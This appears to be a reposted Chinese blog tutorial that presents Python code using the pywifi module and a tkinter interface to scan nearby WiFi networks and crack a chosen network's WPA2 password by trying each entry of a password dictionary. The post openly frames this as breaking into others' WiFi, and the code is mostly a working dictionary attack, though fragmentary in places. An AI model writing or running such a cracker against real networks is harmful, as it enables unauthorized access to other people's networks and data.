现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程
一、获取密码文件的路径
self.get_value = StringVar()
二、获取WiFi账号
self.get_wifi_value = StringVar()
三、获取WiFi密码
self.get_wifimm_value = StringVar()
四、抓取网卡接口
self.wifi = pywifi.PyWiFi()
五、抓取第一个无线网卡
self.iface = self.wifi.interfaces()[0]
六、测试连接断开所有网址
self.iface.disconnect()
七、测试网卡是否属于断开状态
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
八、自动会调用的函数,返回自身的网卡
return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())
九、搜索WiFi
#开始扫描
print(“^_^ 开始扫描附近wifi…”)
self.iface.scan()
time.sleep(15)
#在若干秒后获取扫描结果
scanres = self.iface.scan_results()
#统计附近被发现的热点数量
nums = len(scanres)
print(“数量: %s”%(nums))
#print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
十、添加密码文件目录
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
十一、Treeview绑定事件
self.sels= event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels,”values”)[1])
#print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])
十二、读取密码字典,进行匹配
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander=open(self.getFilePath,”r”,errors=”ignore”)
while True:
try:
self.pwdStr=pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1=self.connect(self.pwdStr,self.get_wifissid)
if self.bool1:
self.res = “===正确=== wifi名:%s 匹配密码:%s “%(self.get_wifissid,self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo(‘提示’, ‘破解成功!!!’)
print(self.res)
break
else:
self.res = “—错误— wifi名:%s匹配密码:%s”%(self.get_wifissid,self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
十三、对wifi和密码进行匹配
#创建wifi网址文件
self.profile = pywifi.Profile()
self.profile.ssid =wifi_ssid #wifi名称
self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
self.profile.key = pwd_Str #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
self.tmp_profile =
self.iface.add_network_profile(self.profile)#设定新的网址文件
self.iface.connect(self.tmp_profile)#网址
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
运行结果
该文章投稿作者:梦见自己住在工棚里,如若转载,请注明来自鱼鳞桐程网:https://www.yulintongcheng.com/155394.html